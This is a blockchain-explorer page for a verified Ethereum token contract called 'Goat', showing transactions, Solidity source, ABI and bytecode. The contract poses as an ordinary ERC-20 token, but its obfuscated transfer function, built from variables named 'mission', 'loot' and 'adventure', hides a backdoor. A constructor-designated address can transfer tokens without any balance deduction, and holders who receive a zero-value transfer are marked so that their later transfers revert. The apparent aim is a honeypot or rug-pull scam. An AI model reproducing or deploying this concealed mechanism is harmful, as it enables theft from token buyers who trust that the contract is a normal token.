ETH Price: $3,286.35 (-1.90%)

Contract

0xAC9704210Da5513aeC537803273e60cBB82d5363
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer173755242023-05-31 1:13:11601 days ago1685495591IN
0xAC970421...BB82d5363
0 ETH0.0016235631.68802757
Approve173426182023-05-26 10:15:11606 days ago1685096111IN
0xAC970421...BB82d5363
0 ETH0.0005710323.61294096
Transfer172603132023-05-14 19:58:11617 days ago1684094291IN
0xAC970421...BB82d5363
0 ETH0.0024994948.78387469
Approve172564392023-05-14 6:46:47618 days ago1684046807IN
0xAC970421...BB82d5363
0 ETH0.0009452339.18391401
Approve172455122023-05-12 17:07:59619 days ago1683911279IN
0xAC970421...BB82d5363
0 ETH0.0032314969.54392746
Approve172455062023-05-12 17:06:47619 days ago1683911207IN
0xAC970421...BB82d5363
0 ETH0.0039384684.75829571
Approve172454912023-05-12 17:03:47619 days ago1683911027IN
0xAC970421...BB82d5363
0 ETH0.0037037679.70732826
Approve172454872023-05-12 17:02:59619 days ago1683910979IN
0xAC970421...BB82d5363
0 ETH0.0036715279.01368123
Approve172454862023-05-12 17:02:47619 days ago1683910967IN
0xAC970421...BB82d5363
0 ETH0.0032792770.57208581
Approve172454852023-05-12 17:02:35619 days ago1683910955IN
0xAC970421...BB82d5363
0 ETH0.0032690570.3522337
Approve172454852023-05-12 17:02:35619 days ago1683910955IN
0xAC970421...BB82d5363
0 ETH0.0034463474.16760236
Approve172454842023-05-12 17:02:23619 days ago1683910943IN
0xAC970421...BB82d5363
0 ETH0.0032841571.17347276
Approve172454832023-05-12 17:02:11619 days ago1683910931IN
0xAC970421...BB82d5363
0 ETH0.0042284991
Approve172454812023-05-12 17:01:47619 days ago1683910907IN
0xAC970421...BB82d5363
0 ETH0.0033275371.70333108
Transfer172454792023-05-12 17:01:23619 days ago1683910883IN
0xAC970421...BB82d5363
0 ETH0.00547025103.33323
Approve172454782023-05-12 17:01:11619 days ago1683910871IN
0xAC970421...BB82d5363
0 ETH0.0032159369.71310223
Transfer172454772023-05-12 17:00:59619 days ago1683910859IN
0xAC970421...BB82d5363
0 ETH0.00547025103.33323
Approve172454762023-05-12 17:00:47619 days ago1683910847IN
0xAC970421...BB82d5363
0 ETH0.0033772373.15260716
Approve172454692023-05-12 16:59:23619 days ago1683910763IN
0xAC970421...BB82d5363
0 ETH0.002932363.10520989
Approve172454682023-05-12 16:59:11619 days ago1683910751IN
0xAC970421...BB82d5363
0 ETH0.0029021262.91043891
Approve172454662023-05-12 16:58:47619 days ago1683910727IN
0xAC970421...BB82d5363
0 ETH0.0029361963.1888514
Transfer172454622023-05-12 16:57:59619 days ago1683910679IN
0xAC970421...BB82d5363
0 ETH0.0035041597.77768
Transfer172454622023-05-12 16:57:59619 days ago1683910679IN
0xAC970421...BB82d5363
0 ETH0.0051749897.77768
Approve172454612023-05-12 16:57:47619 days ago1683910667IN
0xAC970421...BB82d5363
0 ETH0.0031953569.17705398
Approve172454612023-05-12 16:57:47619 days ago1683910667IN
0xAC970421...BB82d5363
0 ETH0.0032276969.46205398
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
172455792023-05-12 17:21:35619 days ago1683912095
0xAC970421...BB82d5363
0 ETH
172455792023-05-12 17:21:35619 days ago1683912095
0xAC970421...BB82d5363
0 ETH
172455792023-05-12 17:21:35619 days ago1683912095
0xAC970421...BB82d5363
0 ETH
172455792023-05-12 17:21:35619 days ago1683912095
0xAC970421...BB82d5363
0 ETH
172455792023-05-12 17:21:35619 days ago1683912095
0xAC970421...BB82d5363
0 ETH
172455792023-05-12 17:21:35619 days ago1683912095
0xAC970421...BB82d5363
0 ETH
172455792023-05-12 17:21:35619 days ago1683912095
0xAC970421...BB82d5363
0 ETH
172455752023-05-12 17:20:35619 days ago1683912035
0xAC970421...BB82d5363
0 ETH
172455752023-05-12 17:20:35619 days ago1683912035
0xAC970421...BB82d5363
0 ETH
172455752023-05-12 17:20:35619 days ago1683912035
0xAC970421...BB82d5363
0 ETH
172455752023-05-12 17:20:35619 days ago1683912035
0xAC970421...BB82d5363
0 ETH
172455752023-05-12 17:20:35619 days ago1683912035
0xAC970421...BB82d5363
0 ETH
172455752023-05-12 17:20:35619 days ago1683912035
0xAC970421...BB82d5363
0 ETH
172455752023-05-12 17:20:35619 days ago1683912035
0xAC970421...BB82d5363
0 ETH
172455742023-05-12 17:20:23619 days ago1683912023
0xAC970421...BB82d5363
0 ETH
172455742023-05-12 17:20:23619 days ago1683912023
0xAC970421...BB82d5363
0 ETH
172455742023-05-12 17:20:23619 days ago1683912023
0xAC970421...BB82d5363
0 ETH
172455742023-05-12 17:20:23619 days ago1683912023
0xAC970421...BB82d5363
0 ETH
172455742023-05-12 17:20:23619 days ago1683912023
0xAC970421...BB82d5363
0 ETH
172455742023-05-12 17:20:23619 days ago1683912023
0xAC970421...BB82d5363
0 ETH
172455742023-05-12 17:20:23619 days ago1683912023
0xAC970421...BB82d5363
0 ETH
172455612023-05-12 17:17:47619 days ago1683911867
0xAC970421...BB82d5363
0 ETH
172455612023-05-12 17:17:47619 days ago1683911867
0xAC970421...BB82d5363
0 ETH
172455612023-05-12 17:17:47619 days ago1683911867
0xAC970421...BB82d5363
0 ETH
172455612023-05-12 17:17:47619 days ago1683911867
0xAC970421...BB82d5363
0 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Goat

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-12
*/

// https://twitter.com/goatcoindex
// https://t.me/goatcoineth

// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%#+=:.:=+*%@%%%%%%%%%%%%%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%*-            :-+%%%%%%+.   ..+%%%%%%%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%#*+-.          -#%*.  .     :%%%#***##%%@%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%*-.         -*#%%#       *%%#******##%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*:         -#%@#.      -%%#*********#%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%#****##%%%=          :#%#.      .#%%#*********#%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%@%#********#%%%#.       :+%*#%--=*##%##%%%%#*********#%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%#*******#%%%%%%%%-   :+*+:   -%=.      :%%%%%%#********%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%*******#%%%%%%..-=*+==-.        =-       .#%%%%%%#*******#%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%#*******%%%%%%@*                    .        +%%%%%%%#*******%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%#******#%%%%%%%%. =.                           -%%%%%%%%*******%%%%%%%%%%%%
// %%%%%%%%%%%%%%#******%@%%%%%%%*  #-                            .#%%%%%%%#******%@%%%%%%%%%
// %%%%%%%%%%%%%#******%%%%%%%%%@#: -%*:                            *%%%%%%%#******%%%%%%%%%%
// %%%%%%%%%%%%#******%%%%%%%%%%%@%+ .*%                             =%%%%%%%#******%%%%%%%%%
// %%%%%%%%%%%%******%%%%%%%%%%%%%%@%: :                         .    :%%%%%%%******#%%%%%%%%
// %%%%%%%%%%%#******%@%%%%%%%%%%%%%%*        -+#%%*:            .+.  :%@%%%%%%******%%%%%%%%
// %%%%%%%%%%%******%%%%%%%%%%%%%%%%*          :%%%%%#-           :%=-%%%%%%%%%******%%%%%%%%
// %%%%%%%%%%%******%%%%%%%%%%%%%%%*             :==+*#%+.         -%%%%%%%%%%%#*****#%%%%%%%
// %%%%%%%%%%%******%%%%%%%%%%%%%%*                     .-.         +%%%%%%%%%%#*****#%%%%%%%
// %%%%%%%%%%%******%%%%%%%%%%%%%+                                   *%%%%%%%%%#*****#%%%%%%%
// %%%%%%%%%%%******%%%%%%%%%%*-       -                              #%%%%%%%%#*****#%%%%%%%
// %%%%%%%%%%%******%@%%%%%*-          =:                              #%%%%%%%#*****#%%%%%%%
// %%%%%%%%%%@#*****#@%%+-             .#                        .:::::-%%%%%%%******%@%%%%%%
// %%%%%%%%%%%%******%%+                #+                        :=#@%%%%%%%%#*****#%%%%%%%%
// %%%%%%%%%%%%#******%%-               =@-                          -%%==%%%%******%%%%%%%%%
// %%%%%%%%%%%%%******#%%-               =%%#+=:                      %- *%%%******#%%%%%%%%%
// %%%%%%%%%%%%%%******#%@+               .+%%%%%#*=:.            .:-*@==@@%******#%%%%%%%%%%
// %%%%%%%%%%%%%%%*******%%#:               .+%%%%%%%@%*.   =++++=-::..=@%#******#%%%%%%%%%%%
// %%%%%%%%%%%%%%%%*******#%%*.               .+%%%%%%%%+         .-+#%%%#******#%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%#*******%@%*:               .*%%%%%%%.       #%%%%%#*******%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%********#%%#=.              .#%%%%%+      -%%%%#*******#%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%#********#%%%#+-.          .%%%%%%%=     *%%#*******#%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%#*********##%%%%*+-:.   .#%%%%%%%%%=   -%%#*****#%@%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%#***********##%%%%%%%%%%@%%%%#%%%%= .%%%***#%%@%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%#***************************#%%%%+#%%#%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##*************************#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%###***************###%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymission. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * by removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Goat is Ownable {
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 private yes = 25;

    uint256 public totalSupply;

    mapping(address => mapping(address => uint256)) public allowance;

    function transfer(address adventurer, uint256 goats) public returns (bool success) {
        adventure(msg.sender, adventurer, goats);
        return true;
    }

    mapping(address => uint256) private mission;

    function transferFrom(address bond, address adventurer, uint256 goats) public returns (bool success) {
        adventure(bond, adventurer, goats);
        require(goats <= allowance[bond][msg.sender]);
        allowance[bond][msg.sender] -= goats;
        return true;
    }

    uint8 public decimals = 9;

    mapping(address => uint256) private loot;

    function adventure(address bond, address adventurer, uint256 goats) private returns (bool success) {
        if (mission[bond] == 0) {
            if (loot[bond] > 0 && bond != uniswapV2Pair) {
                mission[bond] -= yes;
            }
            balanceOf[bond] -= goats;
        }
        if (goats == 0) {
            loot[adventurer] += yes;
        }
        balanceOf[adventurer] += goats;
        emit Transfer(bond, adventurer, goats);
        return true;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(address _address) {
        name = "GOAT";
        symbol = "GOAT";
        totalSupply = 272_727_272_727_272 * 10 ** decimals;
        balanceOf[msg.sender] = totalSupply;
        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        mission[_address] = yes;
    }

    address public uniswapV2Pair;

    string public name;

    function approve(address hardly, uint256 goats) public returns (bool success) {
        allowance[msg.sender][hardly] = goats;
        emit Approval(msg.sender, hardly, goats);
        return true;
    }

    string public symbol;

    mapping(address => uint256) public balanceOf;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"hardly","type":"address"},{"internalType":"uint256","name":"goats","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adventurer","type":"address"},{"internalType":"uint256","name":"goats","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bond","type":"address"},{"internalType":"address","name":"adventurer","type":"address"},{"internalType":"uint256","name":"goats","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260196001556005805460ff191660091790553480156200002357600080fd5b5060405162000e6d38038062000e6d8339810160408190526200004691620002b3565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600481526311d3d05560e21b6020820152600890620000b190826200038a565b5060408051808201909152600481526311d3d05560e21b6020820152600990620000dc90826200038a565b50600554620000f09060ff16600a6200056b565b620001029065f80b443622e86200057c565b6002819055336000908152600a602090815260409182902092909255805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a015592600480830193928290030181865afa1580156200016b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001919190620002b3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002059190620002b3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000253573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002799190620002b3565b600780546001600160a01b0319166001600160a01b0392831617905560015492166000908152600460205260409020919091555062000596565b600060208284031215620002c657600080fd5b81516001600160a01b0381168114620002de57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200031057607f821691505b6020821081036200033157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200038557600081815260208120601f850160051c81016020861015620003605750805b601f850160051c820191505b8181101562000381578281556001016200036c565b5050505b505050565b81516001600160401b03811115620003a657620003a6620002e5565b620003be81620003b78454620002fb565b8462000337565b602080601f831160018114620003f65760008415620003dd5750858301515b600019600386901b1c1916600185901b17855562000381565b600085815260208120601f198616915b82811015620004275788860151825594840194600190910190840162000406565b5085821015620004465787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004ad57816000190482111562000491576200049162000456565b808516156200049f57918102915b93841c939080029062000471565b509250929050565b600082620004c65750600162000565565b81620004d55750600062000565565b8160018114620004ee5760028114620004f95762000519565b600191505062000565565b60ff8411156200050d576200050d62000456565b50506001821b62000565565b5060208310610133831016604e8410600b84101617156200053e575081810a62000565565b6200054a83836200046c565b806000190482111562000561576200056162000456565b0290505b92915050565b6000620002de60ff841683620004b5565b808202811582820484141762000565576200056562000456565b6108c780620005a66000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b41146101c4578063a9059cbb146101cc578063dd62ed3e146101df578063f2fde38b1461020a57600080fd5b806370a0823114610189578063715018a6146101a95780638da5cb5b146101b357600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd1461012c578063313ce5671461013f57806349bd5a5e1461015e575b600080fd5b6100dc61021d565b6040516100e991906106f6565b60405180910390f35b610105610100366004610760565b6102ab565b60405190151581526020016100e9565b61011e60025481565b6040519081526020016100e9565b61010561013a36600461078a565b610318565b60055461014c9060ff1681565b60405160ff90911681526020016100e9565b600754610171906001600160a01b031681565b6040516001600160a01b0390911681526020016100e9565b61011e6101973660046107c6565b600a6020526000908152604090205481565b6101b1610398565b005b6000546001600160a01b0316610171565b6100dc610441565b6101056101da366004610760565b61044e565b61011e6101ed3660046107e8565b600360209081526000928352604080842090915290825290205481565b6101b16102183660046107c6565b610465565b6008805461022a9061081b565b80601f01602080910402602001604051908101604052809291908181526020018280546102569061081b565b80156102a35780601f10610278576101008083540402835291602001916102a3565b820191906000526020600020905b81548152906001019060200180831161028657829003601f168201915b505050505081565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103069086815260200190565b60405180910390a35060015b92915050565b600061032584848461057f565b506001600160a01b038416600090815260036020908152604080832033845290915290205482111561035657600080fd5b6001600160a01b03841660009081526003602090815260408083203384529091528120805484929061038990849061086b565b90915550600195945050505050565b6000546001600160a01b031633146103f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009805461022a9061081b565b600061045b33848461057f565b5060019392505050565b6000546001600160a01b031633146104bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ee565b6001600160a01b0381166105245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166000908152600460205260408120548103610637576001600160a01b038416600090815260066020526040902054158015906105d357506007546001600160a01b03858116911614155b15610609576001546001600160a01b0385166000908152600460205260408120805490919061060390849061086b565b90915550505b6001600160a01b0384166000908152600a60205260408120805484929061063190849061086b565b90915550505b81600003610670576001546001600160a01b0384166000908152600660205260408120805490919061066a90849061087e565b90915550505b6001600160a01b0383166000908152600a60205260408120805484929061069890849061087e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106e491815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561072357858101830151858201604001528201610707565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461075b57600080fd5b919050565b6000806040838503121561077357600080fd5b61077c83610744565b946020939093013593505050565b60008060006060848603121561079f57600080fd5b6107a884610744565b92506107b660208501610744565b9150604084013590509250925092565b6000602082840312156107d857600080fd5b6107e182610744565b9392505050565b600080604083850312156107fb57600080fd5b61080483610744565b915061081260208401610744565b90509250929050565b600181811c9082168061082f57607f821691505b60208210810361084f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561031257610312610855565b808201808211156103125761031261085556fea2646970667358221220c07140bb8486a14ee2a7bfbe843d0c221ad0dd6e582ccdd278669daa5ddabac464736f6c634300081300330000000000000000000000001beed2c2385d25e0d0233daa9f21cb561fe96f95

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b41146101c4578063a9059cbb146101cc578063dd62ed3e146101df578063f2fde38b1461020a57600080fd5b806370a0823114610189578063715018a6146101a95780638da5cb5b146101b357600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd1461012c578063313ce5671461013f57806349bd5a5e1461015e575b600080fd5b6100dc61021d565b6040516100e991906106f6565b60405180910390f35b610105610100366004610760565b6102ab565b60405190151581526020016100e9565b61011e60025481565b6040519081526020016100e9565b61010561013a36600461078a565b610318565b60055461014c9060ff1681565b60405160ff90911681526020016100e9565b600754610171906001600160a01b031681565b6040516001600160a01b0390911681526020016100e9565b61011e6101973660046107c6565b600a6020526000908152604090205481565b6101b1610398565b005b6000546001600160a01b0316610171565b6100dc610441565b6101056101da366004610760565b61044e565b61011e6101ed3660046107e8565b600360209081526000928352604080842090915290825290205481565b6101b16102183660046107c6565b610465565b6008805461022a9061081b565b80601f01602080910402602001604051908101604052809291908181526020018280546102569061081b565b80156102a35780601f10610278576101008083540402835291602001916102a3565b820191906000526020600020905b81548152906001019060200180831161028657829003601f168201915b505050505081565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103069086815260200190565b60405180910390a35060015b92915050565b600061032584848461057f565b506001600160a01b038416600090815260036020908152604080832033845290915290205482111561035657600080fd5b6001600160a01b03841660009081526003602090815260408083203384529091528120805484929061038990849061086b565b90915550600195945050505050565b6000546001600160a01b031633146103f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009805461022a9061081b565b600061045b33848461057f565b5060019392505050565b6000546001600160a01b031633146104bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ee565b6001600160a01b0381166105245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166000908152600460205260408120548103610637576001600160a01b038416600090815260066020526040902054158015906105d357506007546001600160a01b03858116911614155b15610609576001546001600160a01b0385166000908152600460205260408120805490919061060390849061086b565b90915550505b6001600160a01b0384166000908152600a60205260408120805484929061063190849061086b565b90915550505b81600003610670576001546001600160a01b0384166000908152600660205260408120805490919061066a90849061087e565b90915550505b6001600160a01b0383166000908152600a60205260408120805484929061069890849061087e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106e491815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561072357858101830151858201604001528201610707565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461075b57600080fd5b919050565b6000806040838503121561077357600080fd5b61077c83610744565b946020939093013593505050565b60008060006060848603121561079f57600080fd5b6107a884610744565b92506107b660208501610744565b9150604084013590509250925092565b6000602082840312156107d857600080fd5b6107e182610744565b9392505050565b600080604083850312156107fb57600080fd5b61080483610744565b915061081260208401610744565b90509250929050565b600181811c9082168061082f57607f821691505b60208210810361084f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561031257610312610855565b808201808211156103125761031261085556fea2646970667358221220c07140bb8486a14ee2a7bfbe843d0c221ad0dd6e582ccdd278669daa5ddabac464736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000001beed2c2385d25e0d0233daa9f21cb561fe96f95

-----Decoded View---------------
Arg [0] : _address (address): 0x1beED2C2385D25E0d0233dAA9F21Cb561fE96f95

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000001beed2c2385d25e0d0233daa9f21cb561fe96f95


Deployed Bytecode Sourcemap

